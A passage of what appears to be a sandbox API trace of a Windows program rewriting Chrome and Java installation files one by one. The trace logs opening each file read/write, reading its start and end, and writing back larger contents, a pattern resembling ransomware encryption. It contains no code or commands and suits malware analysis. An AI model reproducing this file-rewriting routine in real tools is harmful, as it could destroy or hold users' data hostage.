lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5af42 [0044.436] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.436] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.436] ReleaseMutex (hMutex=0x128) returned 1 [0044.436] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vi.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0044.436] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vi.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vi.pak", lpUsedDefaultChar=0x0) returned 6 [0044.436] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.443] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x59f42 [0044.443] ReadFile (in: hFile=0x1cc, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.444] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x59f42 [0044.445] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.446] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0044.446] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.446] CloseHandle (hObject=0x1cc) returned 1 [0044.446] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.447] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.447] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1ea2 [0044.447] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.447] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.447] ReleaseMutex (hMutex=0x128) returned 1 [0044.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="smalllogocanary.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0044.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="smalllogocanary.png", cchWideChar=19, lpMultiByteStr=0x1e7894c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smalllogocanary.png", lpUsedDefaultChar=0x0) returned 19 [0044.447] ReadFile (in: hFile=0x1cc, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x1ea2, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2b0f2bc*=0x1ea2, lpOverlapped=0x0) returned 1 [0044.449] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0044.449] WriteFile (in: hFile=0x1cc, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x242a, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2b0f2d0*=0x242a, lpOverlapped=0x0) returned 1 [0044.449] CloseHandle (hObject=0x1cc) returned 1 [0044.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\java-rmi.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.450] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.450] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3da8 [0044.451] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.451] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.451] ReleaseMutex (hMutex=0x128) returned 1 [0044.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="java-rmi.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="java-rmi.exe", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java-rmi.exe", lpUsedDefaultChar=0x0) returned 12 [0044.451] ReadFile (in: hFile=0x1cc, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.453] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2da8 [0044.453] ReadFile (in: hFile=0x1cc, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.454] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2da8 [0044.454] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.454] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0044.454] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.455] CloseHandle (hObject=0x1cc) returned 1 [0044.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\ktab.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0044.853] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.853] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3da8 [0044.853] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.853] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.853] ReleaseMutex (hMutex=0x128) returned 1 [0044.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ktab.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0044.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ktab.exe", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktab.exe", lpUsedDefaultChar=0x0) returned 8 [0044.853] ReadFile (in: hFile=0x184, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.880] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2da8 [0044.881] ReadFile (in: hFile=0x184, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.892] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2da8 [0044.892] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.893] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0044.893] WriteFile (in: hFile=0x184, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.893] CloseHandle (hObject=0x184) returned 1 [0044.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0044.894] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.894] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd51 [0044.894] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.894] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.894] ReleaseMutex (hMutex=0x128) returned 1 [0044.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="COPYRIGHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="COPYRIGHT", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COPYRIGHT", lpUsedDefaultChar=0x0) returned 9 [0044.894] ReadFile (in: hFile=0x184, lpBuffer=0x2771158, nNumberOfBytesToRead=0xd51, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x2b0f2bc*=0xd51, lpOverlapped=0x0) returned 1 [0044.931] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0044.931] WriteFile (in: hFile=0x184, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x12d9, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x12d9, lpOverlapped=0x0) returned 1 [0044.932] CloseHandle (hObject=0x184) returned 1 [0044.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0044.933] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.933] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xc48 [0044.933] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.933] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.933] ReleaseMutex (hMutex=0x128) returned 1 [0044.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sRGB.pf", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sRGB.pf", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sRGB.pf", lpUsedDefaultChar=0x0) returned 7 [0044.933] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f2bc*=0xc48, lpOverlapped=0x0) returned 1 [0044.945] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0044.945] WriteFile (in: hFile=0x184, lpBuffer=0x1daff38*, nNumberOfBytesToWrite=0x11d0, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1daff38*, lpNumberOfBytesWritten=0x2b0f2d0*=0x11d0, lpOverlapped=0x0) returned 1 [0044.945] CloseHandle (hObject=0x184) returned 1 [0044.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0044.946] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.946] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x18cd [0044.946] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.946] ReleaseMutex (hMutex=0x128) returned 1 [0044.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_ja.properties", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0044.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_ja.properties", cchWideChar=22, lpMultiByteStr=0x1e7894c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_ja.properties", lpUsedDefaultChar=0x0) returned 22 [0044.946] ReadFile (in: hFile=0x184, lpBuffer=0x1daff38, nNumberOfBytesToRead=0x18cd, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daff38*, lpNumberOfBytesRead=0x2b0f2bc*=0x18cd, lpOverlapped=0x0) returned 1 [0044.965] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0044.965] WriteFile (in: hFile=0x184, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1e55, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1e55, lpOverlapped=0x0) returned 1 [0044.965] CloseHandle (hObject=0x184) returned 1 [0044.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0044.966] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.966] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x22e6 [0044.966] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.966] ReleaseMutex (hMutex=0x128) returned 1 [0044.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dnsns.jar", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dnsns.jar", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnsns.jar", lpUsedDefaultChar=0x0) returned 9 [0044.966] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.972] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x12e6 [0044.972] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.980] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x12e6 [0044.980] WriteFile (in: hFile=0x184, lpBuffer=0x2615c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2615c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.980] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0044.980] WriteFile (in: hFile=0x184, lpBuffer=0x2615c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2615c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.980] CloseHandle (hObject=0x184) returned 1 [0044.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0044.982] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.982] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe56 [0044.982] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.982] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.982] ReleaseMutex (hMutex=0x128) returned 1 [0044.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fontconfig.bfc", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0044.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fontconfig.bfc", cchWideChar=14, lpMultiByteStr=0x1e6306c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontconfig.bfc", lpUsedDefaultChar=0x0) returned 14 [0044.982] ReadFile (in: hFile=0x184, lpBuffer=0x2615c78, nNumberOfBytesToRead=0xe56, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2615c78*, lpNumberOfBytesRead=0x2b0f2bc*=0xe56, lpOverlapped=0x0) returned 1 [0045.005] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0045.005] WriteFile (in: hFile=0x184, lpBuffer=0x2617bd8*, nNumberOfBytesToWrite=0x13de, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2617bd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x13de, lpOverlapped=0x0) returned 1 [0045.005] CloseHandle (hObject=0x184) returned 1 [0045.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0045.012] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0045.012] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2ae [0045.012] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0045.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.012] ReleaseMutex (hMutex=0x128) returned 1 [0045.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jvm.cfg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 